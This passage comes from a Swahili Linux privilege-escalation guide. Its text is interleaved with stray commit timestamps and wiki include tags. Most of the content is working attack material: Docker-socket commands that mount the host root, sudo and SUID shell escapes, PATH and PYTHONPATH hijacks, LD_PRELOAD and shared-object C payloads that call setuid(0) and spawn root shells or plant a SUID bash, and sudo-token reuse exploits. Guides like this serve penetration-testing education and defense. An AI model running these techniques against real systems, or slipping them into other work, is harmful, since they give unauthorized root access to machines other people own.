* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguo hizi ni tofauti lakini muhtasari hutumiwa kuonyesha **mahali itakaposikiliza** soketi (njia ya faili ya soketi ya AF\_UNIX, anwani ya IPv4/6 na/au nambari ya bandari ya kusikiliza, n.k.)
* `Accept`: Inachukua hoja ya boolean. Ikiwa ni **kweli**, kipengele cha **huduma kinazalishwa kwa kila uunganisho unaoingia** na soketi ya uunganisho pekee inapitishwa kwake. Ikiwa ni **uwongo**, soketi zote zinazosikiliza zenyewe zinapitishwa kwa kipengele cha huduma kilichoanzishwa, na kipengele kimoja cha huduma kinazalishwa kwa uunganisho wote. Thamani hii inapuuzwa kwa soketi za datagram na FIFO ambapo kipengele cha huduma kimoja kwa sharti kinashughulikia trafiki yote inayoingia. **Ina thamani ya uwongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`.
* `ExecStartPre`, `ExecStartPost`: Inachukua mistari moja au zaidi ya amri, ambayo inatekelezwa **kabla** au **baada** ya soketi za kusikiliza/FIFOs kuundwa na kufungwa, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili kamili, kisha ikifuatiwa na hoja kwa ajili ya mchakato.
* `ExecStopPre`, `ExecStopPost`: **Amri** za ziada ambazo zinatekelezwa **kabla** au **baada** ya soketi za kusikiliza/FIFOs kufungwa na kuondolewa, mtawalia.
* `Service`: Inabainisha jina la kipengele cha **huduma cha kuamilisha** kwenye **trafiki inayoingia**. Mipangilio hii inaruhusiwa tu kwa soketi zenye Accept=no. Kwa kawaida inarudi kwa huduma inayobeba jina sawa na soketi (na kiambishi kilichobadilishwa). Kwa kawaida, haitakuwa lazima kutumia chaguo hili.
2024-02-11 02:13:58 +00:00
### Faili za .socket zenye uwezo wa kuandikwa
Ikiwa unapata faili ya `.socket` **inayoweza kuandikwa**, unaweza **kuongeza** mwanzoni mwa sehemu ya `[Socket]` kitu kama: `ExecStartPre=/home/kali/sys/backdoor` na mlango wa nyuma utatekelezwa kabla ya soketi kuundwa. Kwa hivyo, **labda utahitaji kusubiri hadi mashine ibadilishwe.**\
2024-02-11 02:13:58 +00:00
_Tafadhali kumbuka kuwa mfumo lazima utumie usanidi wa faili ya soketi au mlango wa nyuma hautatekelezwa_
### Sockets zenye uwezo wa kuandikwa
Ikiwa **unatambua soketi inayoweza kuandikwa** (_sasa tunazungumzia kuhusu Sockets za Unix na sio kuhusu faili za usanidi za `.socket`_), basi **unaweza kuwasiliana** na soketi hiyo na labda kutumia udhaifu.
2020-08-25 20:46:29 +00:00
### Piga orodha ya Sockets za Unix
2020-08-25 20:46:29 +00:00
```bash
netstat -a -p --unix
```
### Uunganisho wa moja kwa moja
2020-08-25 22:42:49 +00:00
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
**Mfano wa Utekaji:**
2020-08-25 22:42:49 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="socket-command-injection.md" %}
[socket-command-injection.md](socket-command-injection.md)
{% endcontent-ref %}
2020-08-25 22:42:49 +00:00
2024-02-11 02:13:58 +00:00
### Soketi za HTTP
Tafadhali elewa kwamba kunaweza kuwa na **soketi zinazosikiliza maombi ya HTTP** (_Sisemi kuhusu faili za .socket bali faili zinazofanya kazi kama soketi za unix_). Unaweza kuchunguza hili kwa kutumia:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
### Soketi Inapojibu na ombi la HTTP
Ikiwa soketi **inajibu na ombi la HTTP**, basi unaweza **kuwasiliana** nayo na labda **kutumia udhaifu fulani**.
2024-02-11 02:13:58 +00:00
### Soketi ya Docker Inayoweza Kuandikwa
2024-02-07 04:06:18 +00:00
Soketi ya Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa chaguo-msingi, inaweza kuandikwa na mtumiaji wa `root` na wanachama wa kikundi cha `docker`. Kuwa na ufikiaji wa kuandika kwenye soketi hii kunaweza kusababisha ongezeko la mamlaka. Hapa kuna maelezo ya jinsi hii inavyoweza kufanywa na njia mbadala ikiwa CLI ya Docker haipatikani.
2024-02-07 04:06:18 +00:00
#### **Ongezeko la Mamlaka kwa Kutumia CLI ya Docker**
2020-08-26 15:52:43 +00:00
2024-02-11 02:13:58 +00:00
Ikiwa una ufikiaji wa kuandika kwenye soketi ya Docker, unaweza kuongeza mamlaka kwa kutumia amri zifuatazo:
2020-08-26 15:52:43 +00:00
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
Hizi amri zinaruhusu kukimbia kontena na ufikiaji wa kiwango cha mizizi kwa mfumo wa faili wa mwenyeji.
2024-02-11 02:13:58 +00:00
#### **Kutumia Docker API Moja kwa Moja**
2020-09-01 09:02:57 +00:00
Katika hali ambapo Docker CLI haipatikani, soketi ya Docker inaweza bado kuhaririwa kwa kutumia Docker API na amri za `curl`.
2020-09-01 09:02:57 +00:00
1. **Orodhesha Picha za Docker:** Pata orodha ya picha zilizopo.
2024-02-11 02:13:58 +00:00
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Unda Kontena:** Tuma ombi la kuunda kontena ambayo inamnasa saraka kuu ya mfumo wa mwenyeji.
2024-02-11 02:13:58 +00:00
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
Anza kontena ulilounda:
2024-02-07 04:06:18 +00:00
2024-02-11 02:13:58 +00:00
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **Ambatisha kwa Kontena:** Tumia `socat` kuweka uhusiano na kontena, kuruhusu utekelezaji wa amri ndani yake.
2024-02-07 04:06:18 +00:00
2024-02-11 02:13:58 +00:00
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
```
2024-02-07 04:06:18 +00:00
Baada ya kuweka uhusiano wa `socat`, unaweza kutekeleza amri moja kwa moja ndani ya kontena na ufikiaji wa kiwango cha mizizi kwa mfumo wa faili wa mwenyeji.
2020-08-26 15:52:43 +00:00
### Mambo Mengine
2020-09-01 09:02:57 +00:00
Tafadhali kumbuka kwamba ikiwa una ruhusa za kuandika juu ya soketi ya docker kwa sababu uko **ndani ya kikundi cha `docker`** una [**njia zaidi za kuongeza viwango vya ruhusa**](makundi-ya-kuvutia-linux-pe/#kikundi-cha-docker). Ikiwa [**API ya docker inasikiliza kwenye bandari** unaweza pia kuweza kuishambulia](../../network-services-pentesting/2375-pentesting-docker.md#kuambukiza).
2020-08-26 15:52:43 +00:00
Angalia **njia zaidi za kuvunja kutoka kwa docker au kuitumia kuongeza viwango vya ruhusa** katika:
2022-01-16 17:15:05 +00:00
{% content-ref url="usalama-wa-docker/" %}
[usalama-wa-docker](usalama-wa-docker/)
2022-01-16 17:15:05 +00:00
{% endcontent-ref %}
## Kupandisha Viwango vya Ruhusa kwa Containerd (ctr)
Ikiwa unagundua unaweza kutumia amri ya **`ctr`** soma ukurasa ufuatao kwani **unaweza kuitumia kwa kufanya viwango vya ruhusa**:
2021-10-10 21:09:04 +00:00
{% content-ref url="containerd-ctr-privilege-escalation.md" %}
[containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md)
{% endcontent-ref %}
## Kupandisha Viwango vya Ruhusa kwa **RunC**
Ikiwa unagundua unaweza kutumia amri ya **`runc`** soma ukurasa ufuatao kwani **unaweza kuitumia kwa kufanya viwango vya ruhusa**:
2021-10-10 21:09:04 +00:00
{% content-ref url="runc-privilege-escalation.md" %}
[runc-privilege-escalation.md](runc-privilege-escalation.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## **D-Bus**
D-Bus ni **mfumo wa Mawasiliano kati ya Michakato (IPC)** wa kisasa ambao huruhusu programu kuingiliana na kushiriki data kwa ufanisi. Imetengenezwa kwa kuzingatia mfumo wa Linux wa kisasa, inatoa mfumo imara kwa aina tofauti za mawasiliano ya programu.
2024-02-07 04:06:18 +00:00
Mfumo huu ni mpana, ukisaidia IPC ya msingi ambayo inaboresha kubadilishana data kati ya michakato, ikikumbusha soketi za eneo la UNIX zilizoboreshwa. Zaidi ya hayo, inasaidia kutangaza matukio au ishara, ikiongeza ushirikiano laini kati ya sehemu za mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu ya kuingia inaweza kusababisha mpiga-muziki kuzima sauti, ikiboresha uzoefu wa mtumiaji. Aidha, D-Bus inasaidia mfumo wa vitu vya mbali, ikisimplisha maombi ya huduma na mwaliko wa njia kati ya programu, ikipunguza michakato ambayo kihistoria ilikuwa ngumu.
D-Bus inafanya kazi kwa mfano wa **ruhusa/zuia**, ikisimamia ruhusa za ujumbe (wito wa njia, kutuma ishara, n.k.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi hufafanua mwingiliano na basi, ikiruhusu kwa uwezekano wa kupandisha viwango vya ruhusa kupitia unyanyasaji wa ruhusa hizi.
Mfano wa sera kama hiyo katika `/etc/dbus-1/system.d/wpa_supplicant.conf` unatolewa, ukielezea ruhusa kwa mtumiaji wa mizizi kumiliki, kutuma kwa, na kupokea ujumbe kutoka kwa `fi.w1.wpa_supplicant1`.
Sera bila mtumiaji au kikundi kilichotajwa inatumika kwa kila mtu, wakati sera za muktadha "default" zinatumika kwa wote ambao hawajashughulikiwa na sera maalum zingine.
2024-02-07 04:06:18 +00:00
```xml
<policy user="root">
2024-02-11 02:13:58 +00:00
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```
**Jifunze jinsi ya kuhesabu na kutumia mawasiliano ya D-Bus hapa:**
2020-08-07 00:26:17 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %}
[d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md)
{% endcontent-ref %}
2020-08-07 00:26:17 +00:00
2024-02-11 02:13:58 +00:00
## **Mtandao**
Ni vyema siku zote kuhesabu mtandao na kugundua mahali pa mashine.
### Uhesabuaji wa kawaida
```bash
2020-08-22 09:45:50 +00:00
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
2020-08-22 09:45:50 +00:00
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
2020-08-22 14:37:12 +00:00
#Interfaces
2020-08-22 09:45:50 +00:00
cat /etc/networks
(ifconfig || ip a)
2020-08-22 14:37:12 +00:00
#Neighbours
(arp -e || arp -a)
2020-08-22 09:45:50 +00:00
(route || ip n)
2020-08-22 09:45:50 +00:00
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
2020-08-22 14:37:12 +00:00
#Files used by network services
lsof -i
2020-08-20 11:59:57 +00:00
```
### Vioja vya wazi
2020-08-20 11:59:57 +00:00
Daima hakikisha huduma za mtandao zinazoendesha kwenye mashine ambazo haukuweza kuzungumza nazo kabla ya kuzifikia:
```bash
2020-08-22 09:45:50 +00:00
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Kuchunguza
Angalia kama unaweza kuchunguza trafiki. Ikiwa unaweza, unaweza kupata baadhi ya siri.
2021-10-10 21:09:04 +00:00
```
2020-08-22 09:45:50 +00:00
timeout 1 tcpdump
```
2024-02-11 02:13:58 +00:00
## Watumiaji
### Uchambuzi wa Kawaida
Angalia **wewe ni nani**, ni **madaraka** gani unayo, ni **watumiaji** gani wako kwenye mifumo, ni yupi anaweza **kuingia** na yupi ana **madaraka ya root:**
```bash
2020-08-22 13:54:28 +00:00
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
2020-08-22 13:54:28 +00:00
#Current user PGP keys
gpg --list-keys 2>/dev/null
```
2024-02-11 02:13:58 +00:00
### UID Kubwa
Baadhi ya toleo za Linux ziliathiriwa na mdudu ambao huruhusu watumiaji wenye **UID > INT\_MAX** kuongeza mamlaka. Taarifa zaidi: [hapa](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [hapa](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) na [hapa](https://twitter.com/paragonsec/status/1071152249529884674).\
**Tumia** kwa: **`systemd-run -t /bin/bash`**
2024-02-11 02:13:58 +00:00
### Vikundi
Angalia kama wewe ni **mwanachama wa kikundi fulani** ambacho kinaweza kukupa mamlaka ya mzizi:
2023-01-24 14:43:15 +00:00
{% content-ref url="interesting-groups-linux-pe/" %}
[interesting-groups-linux-pe/](interesting-groups-linux-pe/)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
### Ubao wa Kuchorea
2020-08-22 13:54:28 +00:00
Angalia kama kuna kitu cha kuvutia kilichopo ndani ya ubao wa kuchorea (ikiwezekana)
2020-08-22 13:54:28 +00:00
```bash
if [ `which xclip 2>/dev/null` ]; then
2024-02-11 02:13:58 +00:00
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
2020-08-22 13:54:28 +00:00
```
### Sera ya Nywila
2020-08-22 13:54:28 +00:00
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
2024-02-11 02:13:58 +00:00
### Nywila Zinazojulikana
2020-08-22 13:54:28 +00:00
Ikiwa **unajua nywila yoyote** ya mazingira **jaribu kuingia kama kila mtumiaji** kutumia nywila hiyo.
2020-08-22 13:54:28 +00:00
2022-05-01 16:57:45 +00:00
### Su Brute
2020-08-22 13:54:28 +00:00
Ikiwa haujali kufanya kelele nyingi na `su` na `timeout` binaries zipo kwenye kompyuta, unaweza kujaribu kuvunja nguvu mtumiaji kwa kutumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) na parameter `-a` pia jaribu kuvunja nguvu watumiaji.
## Mabaya ya PATH yanayoweza Kuandikwa
2022-05-01 16:57:45 +00:00
### $PATH
Ikiwa unagundua kuwa unaweza **kuandika ndani ya folda fulani ya $PATH** unaweza kuinua mamlaka kwa **kuunda mlango wa nyuma ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji tofauti (kimsingi root) na ambayo **haipakuliwi kutoka kwenye folda iliyopo kabla** ya folda yako inayoweza kuandikwa kwenye $PATH.
2024-02-11 02:13:58 +00:00
### SUDO na SUID
2024-02-11 02:13:58 +00:00
Unaweza kuruhusiwa kutekeleza amri fulani kwa kutumia sudo au wanaweza kuwa na biti ya suid. Angalia kwa kutumia:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
Baadhi ya **amri zisizotarajiwa kuruhusu kusoma na/au kuandika faili au hata kutekeleza amri.** Kwa mfano:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
```
### BILA NENO LA SIRI
2020-08-20 11:59:57 +00:00
Mpangilio wa Sudo unaweza kuruhusu mtumiaji kutekeleza amri fulani kwa mamlaka ya mtumiaji mwingine bila kujua neno la siri.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
$ sudo -l
User demo may run the following commands on crashlab:
2024-02-11 02:13:58 +00:00
(root) NOPASSWD: /usr/bin/vim
2020-08-20 11:59:57 +00:00
```
Katika mfano huu mtumiaji `demo` anaweza kukimbia `vim` kama `root`, sasa ni rahisi kupata shell kwa kuongeza ufunguo wa ssh kwenye saraka ya root au kwa kuita `sh`.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
sudo vim -c '!sh'
```
2022-05-01 16:57:45 +00:00
### SETENV
2020-09-27 23:19:15 +00:00
Mwongozo huu huruhusu mtumiaji **kuweka mazingira ya mazingira** wakati wa kutekeleza kitu:
2020-09-27 23:19:15 +00:00
```bash
$ sudo -l
User waldo may run the following commands on admirer:
2024-02-11 02:13:58 +00:00
(ALL) SETENV: /opt/scripts/admin_tasks.sh
2020-09-27 23:19:15 +00:00
```
Mfano huu, **ukitegemea kwenye mashine ya HTB Admirer**, ulikuwa **dhaifu** kwa **PYTHONPATH hijacking** ili kupakia maktaba ya python ya kupendelea wakati wa kutekeleza script kama root:
2020-09-27 23:19:15 +00:00
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Kupita kwa utekelezaji wa Sudo bila kufuata njia
2020-09-27 23:19:15 +00:00
**Ruka** ili kusoma faili zingine au kutumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
```
```bash
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
2024-02-11 02:13:58 +00:00
Ikiwa **wildcard** inatumika (\*), ni rahisi zaidi:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
**Mbinu za Kukabiliana**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Amri ya Sudo/Binary ya SUID bila njia ya amri
Ikiwa **ruhusa ya sudo** imetolewa kwa amri moja **bila kutoa njia**: _hacker10 ALL= (root) less_ unaweza kutumia udhaifu huo kwa kubadilisha variable ya PATH.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
Tekniki hii inaweza kutumika pia ikiwa **suid** binary **inaendesha amri nyingine bila kutaja njia ya kuipata (hakikisha kila wakati na** _**strings**_ **maudhui ya suid binary ya ajabu)**.
[Mifano ya mzigo wa kutekeleza.](payloads-to-execute.md)
### Suid binary na njia ya amri
Ikiwa **suid** binary **inaendesha amri nyingine ikieleza njia**, basi, unaweza **jaribu kuuza kazi** iliyoitwa kama amri ambayo faili ya suid inaita.
Kwa mfano, ikiwa binary ya suid inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda kazi na kuiekeza:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
2022-06-18 22:09:55 +00:00
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
Mazingira ya **LD\_PRELOAD** hutumika kutaja maktaba moja au zaidi za pamoja (.so files) zitakazopakiwa na loader kabla ya zingine zote, ikiwa ni pamoja na maktaba ya C ya kawaida (`libc.so`). Mchakato huu unajulikana kama kuchakata maktaba kabla.
Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kuchukuliwa faida, hasa na utekelezaji wa **suid/sgid** executables, mfumo unatekeleza masharti fulani:
* Loader hupuuza **LD\_PRELOAD** kwa executables ambapo kitambulisho halisi cha mtumiaji (_ruid_) halingani na kitambulisho cha mtumiaji kilichopo (_euid_).
* Kwa executables zenye suid/sgid, maktaba zinazopakiwa ni zile zilizo kwenye njia za kawaida ambazo pia ni suid/sgid.
2020-08-20 11:59:57 +00:00
Kupandisha hadhi ya mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa kutumia `sudo` na matokeo ya `sudo -l` yanajumuisha kauli **env\_keep+=LD\_PRELOAD**. Usanidi huu huruhusu mazingira ya **LD\_PRELOAD** kudumu na kutambuliwa hata wakati amri zinatekelezwa kwa kutumia `sudo`, hivyo kuweza kusababisha utekelezaji wa nambari ya aina yoyote na mamlaka zilizoinuliwa.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
Defaults env_keep += LD_PRELOAD
```
2024-02-11 02:13:58 +00:00
Hifadhi kama **/tmp/pe.c**
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
2024-02-11 02:13:58 +00:00
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
Kisha **sakinisha** kutumia:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Hatimaye, **ongeza mamlaka** ikikimbia
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
2022-06-18 22:09:55 +00:00
{% hint style="danger" %}
Kama mshambuliaji anadhibiti **LD\_LIBRARY\_PATH** env variable kwa sababu anadhibiti njia ambapo maktaba zitatafutwa, privesc sawa inaweza kutumiwa vibaya.
2022-06-18 22:09:55 +00:00
{% endhint %}
```c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
2024-02-11 02:13:58 +00:00
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
2022-06-18 22:09:55 +00:00
}
```
```bash
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### Binary ya SUID - Uingizaji wa .so
2022-06-18 22:09:55 +00:00
Upon kupata binary yenye ruhusa za **SUID** ambayo inaonekana isiyo ya kawaida, ni mazoezi mazuri kuhakikisha kama inapakia faili za **.so** ipasavyo. Hii inaweza kuthibitishwa kwa kukimbia amri ifuatayo:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (Hakuna faili au saraka kama hiyo)"_ inaashiria uwezekano wa kutumia mwanya huo.
Kutumia hili, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao:
```c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
2024-02-11 02:13:58 +00:00
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Msimbo huu, mara baada ya kuchakatwa na kutekelezwa, unalenga kuinua mamlaka kwa kubadilisha ruhusa za faili na kutekeleza kifaa na mamlaka yaliyoinuliwa.
Chakata faili ya C hapo juu kuwa faili ya kitu kilichoshirikishwa (.so) kwa:
```bash
2024-02-07 04:06:18 +00:00
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
## Kutekeleza Udukuzi wa Vitu vya Pamoja
2022-10-02 22:19:40 +00:00
```bash
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Sasa tumeona binary ya SUID ikiload maktaba kutoka kwenye folda ambapo tunaweza kuandika, tujenge maktaba hiyo kwenye folda hiyo na jina la lazima:
2022-10-02 22:19:40 +00:00
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
2024-02-11 02:13:58 +00:00
setresuid(0,0,0);
system("/bin/bash -p");
2022-10-02 22:19:40 +00:00
}
```
2024-02-11 02:13:58 +00:00
Ikiwa unapata kosa kama hili
2022-10-02 22:19:40 +00:00
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
Hii inamaanisha kwamba maktaba uliyoitengeneza inahitaji kuwa na kazi inayoitwa `a_function_name`.
2022-10-02 22:19:40 +00:00
2022-05-01 16:57:45 +00:00
### GTFOBins
2020-08-20 11:59:57 +00:00
[**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya Unix binaries ambazo zinaweza kutumiwa na mshambuliaji kukiuka vizuizi vya usalama wa ndani. [**GTFOArgs**](https://gtfoargs.github.io/) ni sawa lakini kwa hali ambapo unaweza **kuingiza tu hoja** katika amri.
2020-08-20 11:59:57 +00:00
Mradi huu unakusanya kazi halali za Unix binaries ambazo zinaweza kutumiwa kwa mabaya kuvunja mabano ya mifumo ya usalama, kukuza au kudumisha mamlaka ya juu, kuhamisha faili, kuzalisha bind na reverse shells, na kurahisisha kazi zingine za baada ya kuvamia.
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
{% embed url="https://gtfobins.github.io/" %}
2020-08-20 11:59:57 +00:00
{% embed url="https://gtfoargs.github.io/" %}
2022-05-01 16:57:45 +00:00
### FallOfSudo
2020-08-21 13:38:17 +00:00
Ikiwa unaweza kupata `sudo -l` unaweza kutumia zana [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) kuangalia ikiwa inaweza kupata jinsi ya kutumia sheria yoyote ya sudo.
2020-08-21 11:22:11 +00:00
### Kutumia Upya Vitambulisho vya Sudo
2020-08-21 11:22:11 +00:00
Katika hali ambapo una **upatikanaji wa sudo** lakini sio nenosiri, unaweza kukuza mamlaka kwa **kungojea utekelezaji wa amri ya sudo na kisha kuteka kikao cha ishara**.
2020-08-21 11:22:11 +00:00
Mahitaji ya kukuza mamlaka:
2020-08-21 11:22:11 +00:00
* Tayari una shell kama mtumiaji "_sampleuser_"
* "_sampleuser_" ame **tumia `sudo`** kutekeleza kitu katika **dakika 15 zilizopita** (kwa kawaida hiyo ni muda wa ishara ya sudo inayoruhusu kutumia `sudo` bila kuingiza nenosiri lolote)
2024-02-11 02:13:58 +00:00
* `cat /proc/sys/kernel/yama/ptrace_scope` ni 0
* `gdb` inapatikana (unaweza kuweza kuipakia)
2020-08-26 10:00:51 +00:00
(Unaweza kuwezesha kwa muda `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kudumisha kwa kubadilisha `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`)
2020-08-21 11:22:11 +00:00
Ikiwa mahitaji yote haya yanakidhiwa, **unaweza kukuza mamlaka kwa kutumia:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
2020-08-21 11:22:11 +00:00
* **Uvamizi wa kwanza** (`exploit.sh`) utaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kutumia hiyo **kuamsha ishara ya sudo katika kikao chako** (hutapata moja kwa moja kabisa shell ya mzizi, fanya `sudo su`):
2020-08-21 11:22:11 +00:00
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
* **Kudukuliwa kwa pili** (`exploit_v2.sh`) kutazalisha kabibi ya sh katika _/tmp_ **iliyomilikiwa na root na setuid**
2020-08-21 11:22:11 +00:00
```bash
bash exploit_v2.sh
/tmp/sh -p
```
* **Exploit ya tatu** (`exploit_v3.sh`) itaunda **faili ya sudoers** ambayo inafanya **vitambulisho vya sudo kuwa vya milele na kuruhusu watumiaji wote kutumia sudo**
2020-08-21 11:22:11 +00:00
```bash
bash exploit_v3.sh
sudo su
```
2024-02-11 02:13:58 +00:00
### /var/run/sudo/ts/\<Jina la mtumiaji>
2020-08-21 11:22:11 +00:00
Ikiwa una **ruhusa ya kuandika** kwenye folda au kwenye faili yoyote iliyo ndani ya folda hiyo unaweza kutumia binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) **kuunda token ya sudo kwa mtumiaji na PID**.\
Kwa mfano, ikiwa unaweza kubadilisha faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo na PID 1234, unaweza **kupata ruhusa za sudo** bila haja ya kujua nenosiri kwa kufanya:
2020-08-21 11:22:11 +00:00
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
2022-05-01 16:57:45 +00:00
### /etc/sudoers, /etc/sudoers.d
2020-08-20 11:59:57 +00:00
